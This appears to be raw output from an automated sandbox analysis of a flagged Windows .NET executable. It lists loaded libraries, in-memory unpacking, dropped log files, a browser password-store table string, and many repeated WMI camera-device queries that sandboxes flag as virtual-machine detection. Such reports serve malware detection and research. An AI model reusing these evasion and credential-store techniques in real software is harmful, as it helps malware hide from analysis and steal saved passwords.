prljhan3IL.0.dr, yBuc1x4qUx.0.dr, 9L1mdIIDZi.0.dr, Q0KCdojjgZ.0.dr, GzeBB0eq9J.0.dr, Ee6T1NLhLy.0.dr, C60u9pxXOD.0.dr, YqxS5HJlAi.0.dr, SJ0hs47Lhe.0.dr, TKDZFoG453.0.dr, vLiKFHNYQl.0.dr, edZxYmgreQ.0.dr, zxWCXrv94K.0.dr, N8gKxmRaON.0.dr, xJHJb6zyBj.0.dr, SfuR2oUj3Y.0.dr, hDpMLbbiYj.0.dr, seEV1539C4.0.dr, g3WsZgLwEZ.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Gez0dmj6yl.exe	Virustotal: Detection: 66%
Source: Gez0dmj6yl.exe	ReversingLabs: Detection: 81%

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Gez0dmj6yl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Gez0dmj6yl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Unpacked PE file: 0.2.Gez0dmj6yl.exe.1390000.1.unpack

.NET source code contains potential unpacker

Source: Gez0dmj6yl.exe, 1a2.cs	.Net Code: ghM System.Reflection.Assembly.Load(byte[])
Source: Gez0dmj6yl.exe, 857.cs	.Net Code: _736

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF848F2739E push ebp; retf	0_2_00007FF848F273A8
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF848F27BAC push eax; ret	0_2_00007FF848F27BAD
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF848F100BD pushad ; iretd	0_2_00007FF848F100C1
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 0_2_00007FF8490F0878 push esp; retf	0_2_00007FF8490F0879

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File created: C:\Users\user\Desktop\wWLxmeJG.log			Jump to dropped file
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File created: C:\Users\user\Desktop\BRNOuKzz.log			Jump to dropped file

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File created: C:\Users\user\Desktop\BRNOuKzz.log			Jump to dropped file
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File created: C:\Users\user\Desktop\wWLxmeJG.log			Jump to dropped file

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
